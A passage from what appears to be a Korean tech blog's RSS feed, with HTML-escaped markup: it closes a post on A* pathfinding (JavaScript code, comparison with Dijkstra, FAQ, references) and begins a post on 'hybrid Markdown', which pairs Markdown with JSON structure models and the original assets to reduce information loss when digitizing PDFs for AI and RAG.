    &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; cost&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; current&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; open&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;shift&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;cost &lt;span class=&quot;token operator&quot;&gt;!==&lt;/span&gt; gScore&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;current&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;continue&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;current &lt;span class=&quot;token operator&quot;&gt;===&lt;/span&gt; goal&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;restorePath&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;previous&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; goal&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;next&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; weight&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;of&lt;/span&gt; graph&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;current&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;??&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; nextCost &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; cost &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; weight

      &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;nextCost &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;gScore&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;next&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;??&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;Infinity&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        gScore&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;next&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; nextCost&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        previous&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;next&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; current&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        open&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;push&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;nextCost &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;heuristic&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;next&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; goal&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; nextCost&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; next&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;null&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;restorePath&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;previous&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; goal&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; path &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; at &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; goal&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; at &lt;span class=&quot;token operator&quot;&gt;!==&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;undefined&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; at &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; previous&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;at&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; path&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;push&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;at&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; path&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;reverse&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;실무에서는 오래된 큐 항목 무시, 최소 힙, 경로 없음 처리, 동적 장애물과 교통 비용까지 함께 고려해야 합니다.&lt;/p&gt;
&lt;h2&gt;지도 앱은 A* 하나만 사용할까&lt;/h2&gt;
&lt;p&gt;실제 도로망은 단순한 격자가 아닙니다. 거리뿐 아니라 속도, 신호, 통행 제한, 시간대별 교통량도 비용에 들어갑니다.&lt;/p&gt;
&lt;p&gt;대규모 지도 서비스에서는 A* 외에도 양방향 탐색, 계층형 경로 탐색, 전처리된 지름길, 실시간 교통 업데이트를 함께 사용합니다. A*는 그중 “목적지 방향으로 탐색을 유도한다”는 핵심 아이디어를 가장 명확하게 보여주는 알고리즘입니다.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;/hnsw-vector-search/&quot;&gt;HNSW 벡터 검색&lt;/a&gt;도 모든 후보를 비교하지 않고 가까울 가능성이 높은 방향부터 이동합니다. 다만 HNSW는 근사 최근접 탐색이고 A*는 조건을 만족하는 휴리스틱에서 최단 경로를 보장한다는 차이가 있습니다.&lt;/p&gt;
&lt;h2&gt;정리&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;다익스트라는 지금까지의 실제 비용 &lt;code class=&quot;language-text&quot;&gt;g(n)&lt;/code&gt;이 작은 노드부터 봅니다.&lt;/li&gt;
&lt;li&gt;A*는 남은 예상 비용 &lt;code class=&quot;language-text&quot;&gt;h(n)&lt;/code&gt;을 더해 목적지 방향을 우선합니다.&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;h(n)=0&lt;/code&gt;이면 A*는 다익스트라와 같아집니다.&lt;/li&gt;
&lt;li&gt;휴리스틱은 실제 남은 비용을 과대평가하지 않아야 합니다.&lt;/li&gt;
&lt;li&gt;좋은 휴리스틱은 답을 바꾸지 않고 탐색 범위를 줄입니다.&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;A*의 핵심은 더 좋은 길을 찍는 것이 아니라, 볼 필요가 적은 곳을 알려주는 것입니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;자주 묻는 질문 (FAQ)&lt;/h2&gt;
&lt;h3&gt;A*는 항상 다익스트라보다 빠른가요?&lt;/h3&gt;
&lt;p&gt;아닙니다. 휴리스틱 계산 비용이 크거나 목적지 방향을 잘 알려주지 못하면 이점이 작습니다. 최악의 경우 다익스트라와 비슷한 범위를 탐색할 수 있습니다.&lt;/p&gt;
&lt;h3&gt;h(n)을 크게 잡으면 목적지에 더 빨리 가지 않나요?&lt;/h3&gt;
&lt;p&gt;탐색은 더 공격적으로 좁아질 수 있지만 최단 경로 보장을 잃을 수 있습니다. 정확성이 필요하다면 실제 남은 최소 비용을 넘지 않는 휴리스틱을 사용해야 합니다.&lt;/p&gt;
&lt;h3&gt;A*는 음수 가중치를 처리할 수 있나요?&lt;/h3&gt;
&lt;p&gt;일반적인 A* 구현은 비음수 가중치를 전제로 합니다. 음수 가중치가 있으면 다익스트라와 같은 전제가 깨지므로 Bellman–Ford 같은 다른 알고리즘을 검토해야 합니다.&lt;/p&gt;
&lt;h3&gt;맨해튼 거리는 언제 사용하나요?&lt;/h3&gt;
&lt;p&gt;격자에서 상하좌우로만 움직이고 이동 비용이 한 칸당 동일할 때 적합합니다. 대각선이나 서로 다른 지형 비용을 허용한다면 이동 규칙에 맞는 다른 휴리스틱이 필요합니다.&lt;/p&gt;
&lt;h2&gt;참고 자료&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://ai.stanford.edu/~nilsson/OnlinePubs-Nils/PublishedPapers/astar.pdf&quot;&gt;Hart, Nilsson, Raphael — A Formal Basis for the Heuristic Determination of Minimum Cost Paths&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://networkx.org/documentation/stable/reference/algorithms/generated/networkx.algorithms.shortest_paths.astar.astar_path.html&quot;&gt;NetworkX — astar_path&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.boost.org/doc/libs/latest/libs/graph/doc/html/graph/algorithms/shortest_paths/astar_search.html&quot;&gt;Boost.Graph — A* Heuristic Search&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[하이브리드 Markdown이란? 비정형 문서의 정보 손실을 줄이는 AI 문서화]]></title><description><![CDATA[안녕하세요. 자바파커입니다. PDF를 AI에 넣기 전에 Markdown…]]></description><link>https://blog.javapark.kr/hybrid-markdown-document-digitization/</link><guid isPermaLink="false">https://blog.javapark.kr/hybrid-markdown-document-digitization/</guid><pubDate>Sun, 30 Aug 2026 09:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;a class=&apos;gatsby-resp-image-link&apos; href=&apos;/static/6c4dfca9ae6d710720dd7c6d06ae7d2e/64756/thumbnail.png&apos; style=&apos;display: block&apos; target=&apos;_blank&apos; rel=&apos;noopener&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 56.27906976744186%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACiElEQVR42hWRTUgUYQCG51C6s/PN982/Mzs7O+v87I/O6pruzu66O+Ou1WoZohKVohVRWWI/EB0qOgVBl47WQZSQwAgrI7AOG4QkUkJ5sCAiKAkyOlkdumyz8F4f3pfnxer9AglVho0iyoCUTpAqARsJqAFkAGQSyCTpOGSSwXBRj/SqWo+k7GYFhxGyNNeO1eMiCWMBKcdyKYisHXXSTl+wDg/V4aqP0CATByghK13zC5V780t3Zh4vVdbuTj/lJZfhbQwHgYLb1z94dGDouFsaKPceKe8byXcNdpeHc4VBP4gxYiYU2Ts9t7i28f39p59b29VXqx9FucQ15DCckIcOnjh/8frJ05dOjV8ePXZheHRyYuLqmbNXDo+cUzWHDdpKvNSRPfDo+YfV9d9vN/7OPVyRgt28mPealbCRMeNOpMmNWUU9WpDDdiTbbxUPSYrNi7YUyMqKXd4/9mb989etP1vb/x48eS1IJUEqYH6gAqgRUPeCA89T1DMEWItgE4BpQXyqQbaDaqanb2zl3ea3X9UvP6qz88uc4AhSJ+av6dVIyiCpCKRjJBWr6WUtJCTpQJoKdIbC7bqRcrqH7i9sPqtUXyxXp2YrDGfzDbYHe8fo3isARQCKASpO0s1QSKJAGgWztOowSlZUc+6e0Ws3Zm/eXpyaeTk+eYskWxkuiRG1zYafNAGM1EiqCTIJKLZ7JFILlObSeokOFznVpYQU4troxhRrZFg9DemoB5vemRSXQIwFaatG8m0oYKNQHmkuMruQ6dBagQ7l+VCekzO85qWDCjYTpIJ5ayHTRPEtkLG8wSSdgFwbkmyk5FBjJzIcqOdJNQ3lXUhsRVwcQgMQKu6TfDj/HyPClKgWwYpCAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/6c4dfca9ae6d710720dd7c6d06ae7d2e/a1b3b/thumbnail.webp 215w,
/static/6c4dfca9ae6d710720dd7c6d06ae7d2e/fc700/thumbnail.webp 430w,
/static/6c4dfca9ae6d710720dd7c6d06ae7d2e/521f7/thumbnail.webp 860w,
/static/6c4dfca9ae6d710720dd7c6d06ae7d2e/cbd37/thumbnail.webp 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/6c4dfca9ae6d710720dd7c6d06ae7d2e/f7886/thumbnail.png 215w,
/static/6c4dfca9ae6d710720dd7c6d06ae7d2e/bc750/thumbnail.png 430w,
/static/6c4dfca9ae6d710720dd7c6d06ae7d2e/3e3fe/thumbnail.png 860w,
/static/6c4dfca9ae6d710720dd7c6d06ae7d2e/64756/thumbnail.png 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/6c4dfca9ae6d710720dd7c6d06ae7d2e/3e3fe/thumbnail.png&apos; alt=&apos;PDF 문서를 Markdown·JSON·Assets 세 층으로 나누어 원본과 연결하는 하이브리드 문서 구조&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;PDF 문서를 Markdown·JSON·Assets 세 층으로 나누어 원본과 연결하는 하이브리드 문서 구조&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;안녕하세요. &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;PDF를 AI에 넣기 전에 Markdown으로 바꾸면 문제가 해결될까요?&lt;/p&gt;
&lt;p&gt;본문만 있는 문서라면 꽤 잘 동작합니다. 하지만 계약서의 표, 설비 도면의 주석, 보고서의 차트, 여러 단으로 배치된 논문에서는 이야기가 달라집니다. 글자는 남아도 &lt;strong&gt;무엇이 무엇에 속했는지&lt;/strong&gt;가 사라질 수 있습니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;좋은 디지털화는 문서를 텍스트로 바꾸는 작업이 아닙니다. 의미와 출처를 다시 찾을 수 있게 만드는 작업입니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;이 글에서는 Markdown을 버리지 않으면서도 정보 손실을 줄이는 &lt;strong&gt;하이브리드 문서 구조&lt;/strong&gt;, 이를 만들어 내는 파이프라인, 그리고 RAG에서 구조를 훼손하지 않고 청킹하는 방법을 정리합니다.&lt;/p&gt;
&lt;p&gt;PDF를 평문으로 바꿀 때 무엇이 사라지는지를 &lt;strong&gt;1분 영상&lt;/strong&gt;으로도 정리했습니다.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/shorts/piADlS-jLLc&quot;&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 118.13953488372093%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAYCAIAAAB1KUohAAAACXBIWXMAAAAAAAAAAAHqZRakAAAFOUlEQVR42i2Ue0xTZxjGPyiVtpReKW1pKaVyZ9BgRDeNcYu3ZNmSJUu2P+b+2rLsmm1mYraomzO6uS0ichWRa8EKFBBbKbSAlKFcSrlXrk4olN5pe07pFc++gskvJ09O3ifv+37fcw4gxAiiSYmxVFE89w0uX8wT5CUK8wXJh0QpR9LSj2dmn8jKOZUtPpN74N28/PcPHv7g8NEPBaJjcZz8+IR8EEMRReK5d+5JV9asupkX0/Nrs4vr+iWjfjnM3NLGC4PNaEWMFmTThm5YEMSH/Xj+DzI1NyHxaNiM28fp04zVNys+++bn7wqufnXuty9/uPzF95cgn3x+rqWzN4BhW2jI6XlldweCGHb5SjGZJuYlHQMx1P2ReI5cqXk6/vye5GGTrPt+W7e0XdXcoYY2iEI9rBqc6BkYVw2M9z+d9ASwX6+WxtIP8IVvAzJ1f0QU55FS0zc0UVguuVMrq6hphZRDqlsgpVUPSu5KiyoaOx5rllct/lfY79fvUJn5AtEJEEtLBThOh7z/+fL6Y/WQemBU2fesu3+458mwaiCMWjPSqxntHYSMLa+a4djXblTRWG8mpZyC5jRobu1Q2RFsZMIwu2gzmIOQVVNofhWDLOyxhs2vYVNLOxYX9tfNGjrriDDlDKDQ00Eku6W9e90aqm7qVw8ubdgxox2bf7nd2DbZKJuQyHQNLdqG5jFJ61iVZEg3ZyosbqRBc+qeGbDvt3atW0LjM9YJvX1s2jw2ZR6ZNOimn0/OLU7NLelmFiZmF2bmV+Bzw+IqLG6is94Kd6bSMwBgSWXKSf2KrLNH0TOo6NHIlU/UAyNGK2p2eM0On9Hm2bR5rE7/pt3j8mKFJY20OLjzaUBjZsPOEqkcDWB7FTaX34EEoW1t0wmzAYMBRVhbw8KBhm6XSSnMQwLRKUBj5QDAqW965PTs/LdhN5hdBlOYl0bHqnFrw+Jet7ihWN2EGoFiCw2WVDwg0w4mJp/cNUdwaiQd3hBmMDlhBiFGiAUJp3JPWxGTAzE70HWzC4akrLI5hprHF74DaOxcEJlQVSeDt291+uDADnfQ6QkivlBY7wK7rZsCG5Yg3AhGtbyqhUTJTRAc3zXjEiprWuDOcE+bK7CFBtY2/XOLXgcSsDoDFkdgOxi4XequuIugfp9vB6uslhHIWVz4YdA5YhDFK6+SwnnMdq/JHi7tVGz/VOB2ewN2F/T74Ztbt5Histfmqto2PDEtPuEwoO2aSyqbUD8c2wvbwlJ5lweavTtBhdJztxrdwYJFxe7iUnTPXF3fERUtYnEPAgpbDPC8W2UNcOdpPVJS7t5C/UoVev6Cy48F6yToxUtuDAuWlCHQ7An4YFmt5CEOnxQXnwcoXDGI5v9dVA0T/+8z5OynbnhsSpXn62+dbi9aU7dVcMEewLb/uWm7fsPmQNzwZ1DT0B6B4zHicgAlQQz28Ysq6j1BbHBk5cq1rqVVa69m8VaJxu0NqZ8s10m08BblSv1D+Sw8wh0Ma+tUwlzRmJnQnAtISecv/jmi07c9UnUqu2ob25rbFU+1o9qpBe3krHZqamh0ekQ3Oayd6NNoh8fnCn65DnBsCj0VkNhZJE42iZUen5Qbx89mcLOY3AwGJyOWmRJDExLIiXgCDx/NjcCxQAQjDKDjouJJsclEshAQ4zOJ7EwCKwNP24+npuCpyQxeflL6e2k5HwlSzqTnfJwlPitIPslgiaOJPAIpkbgLgcSHAGJc2h6k16TGsjKp7GwqK4vCzKAwMuA3G0tNJZGFBCJ/F94uYf0/dy87vxOvPfIAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/8153fcc2c2e2d82d88d5546eb1fe9665/a1b3b/video-thumb.webp 215w,
/static/8153fcc2c2e2d82d88d5546eb1fe9665/fc700/video-thumb.webp 430w,
/static/8153fcc2c2e2d82d88d5546eb1fe9665/521f7/video-thumb.webp 860w,
/static/8153fcc2c2e2d82d88d5546eb1fe9665/d0742/video-thumb.webp 900w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/8153fcc2c2e2d82d88d5546eb1fe9665/f7886/video-thumb.png 215w,
/static/8153fcc2c2e2d82d88d5546eb1fe9665/bc750/video-thumb.png 430w,
/static/8153fcc2c2e2d82d88d5546eb1fe9665/3e3fe/video-thumb.png 860w,
/static/8153fcc2c2e2d82d88d5546eb1fe9665/e7448/video-thumb.png 900w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/8153fcc2c2e2d82d88d5546eb1fe9665/3e3fe/video-thumb.png&apos; alt=&apos;하이브리드 문서화 영상 — 표와 그림이 있는 원본이 평문으로 붕괴하는 장면&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;하이브리드 문서화 영상 — 표와 그림이 있는 원본이 평문으로 붕괴하는 장면&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/a&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;하이브리드 Markdown은 표준 포맷이 아니다&lt;/h2&gt;
&lt;p&gt;먼저 용어부터 분명히 하겠습니다. 여기서 말하는 &lt;strong&gt;하이브리드 Markdown&lt;/strong&gt;은 CommonMark나 MDX처럼 정해진 문법 표준이 아닙니다.&lt;/p&gt;
&lt;p&gt;이 글에서는 다음 설계 방식을 편의상 하이브리드 Markdown이라고 부릅니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;사람이 읽고 LLM에 전달할 본문은 Markdown으로 만들고, Markdown이 표현하기 어려운 좌표·계층·관계·신뢰도는 JSON과 원본 자산으로 함께 보존한다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Markdown은 훌륭한 &lt;strong&gt;읽기용 표현&lt;/strong&gt;입니다. 제목, 목록, 코드, 단순한 표처럼 언어 모델이 이해하기 좋은 구조를 적은 토큰으로 전달합니다. 그러나 문서의 모든 정보를 손실 없이 표현하는 저장 형식은 아닙니다.&lt;/p&gt;
&lt;p&gt;따라서 원본에 가까운 기준 데이터는 Markdown이 아니라 다음 두 가지가 되어야 합니다.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;변환 전 원본 파일&lt;/li&gt;
&lt;li&gt;원본의 요소와 관계를 보존한 구조화 문서 모델&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Markdown, HTML, 청크, 임베딩은 모두 이 기준 데이터에서 다시 만들 수 있는 &lt;strong&gt;파생물&lt;/strong&gt;로 취급합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Markdown으로만 변환할 때 사라지는 것&lt;/h2&gt;
&lt;p&gt;문서 변환에서 가장 위험한 오류는 글자가 빠지는 오류만이 아닙니다. 값은 정확하게 추출됐지만 엉뚱한 항목과 연결되는 &lt;strong&gt;관계 손실&lt;/strong&gt;이 더 찾기 어렵습니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;원본 정보&lt;/th&gt;
&lt;th&gt;단순 Markdown 변환에서 생기는 문제&lt;/th&gt;
&lt;th&gt;보존해야 할 것&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;다단 편집&lt;/td&gt;
&lt;td&gt;두 열의 문장이 섞임&lt;/td&gt;
&lt;td&gt;읽기 순서&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;병합 셀 표&lt;/td&gt;
&lt;td&gt;상위 헤더와 하위 열의 관계가 평탄화됨&lt;/td&gt;
&lt;td&gt;rowspan·colspan·셀 좌표&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;그림과 캡션&lt;/td&gt;
&lt;td&gt;캡션이 그림에서 분리됨&lt;/td&gt;
&lt;td&gt;figure–caption 관계&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;각주와 미주&lt;/td&gt;
&lt;td&gt;어느 문장을 설명하는지 사라짐&lt;/td&gt;
&lt;td&gt;참조 관계&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;페이지 위치&lt;/td&gt;
&lt;td&gt;답의 근거 위치를 보여줄 수 없음&lt;/td&gt;
&lt;td&gt;페이지·bounding box&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;OCR 결과&lt;/td&gt;
&lt;td&gt;잘못 읽은 글자도 확정값처럼 저장됨&lt;/td&gt;
&lt;td&gt;confidence·추출 방식&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;반복 머리말&lt;/td&gt;
&lt;td&gt;검색 청크마다 같은 문장이 들어감&lt;/td&gt;
&lt;td&gt;content layer·header/footer 구분&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Docling 문서에도 이 차이가 명시되어 있습니다. 내부 JSON 모델은 병합 셀 정보를 보존하지만 Markdown 표에는 셀 병합 문법이 없어 평탄화됩니다. 병합 구조가 중요하면 HTML 또는 JSON을 사용하라고 권장합니다.&lt;/p&gt;
&lt;p&gt;즉 &lt;code class=&quot;language-text&quot;&gt;PDF → Markdown → 폐기&lt;/code&gt; 파이프라인은 되돌릴 수 없습니다. 나중에 잘못된 답을 발견해도 어느 페이지의 어떤 영역에서 오류가 생겼는지 추적하기 어렵습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;권장 구조 — Markdown은 본문, JSON은 지도&lt;/h2&gt;
&lt;p&gt;하나의 문서를 파일 하나로 끝내지 않고 다음과 같은 &lt;strong&gt;문서 패키지&lt;/strong&gt;로 관리합니다.&lt;/p&gt;
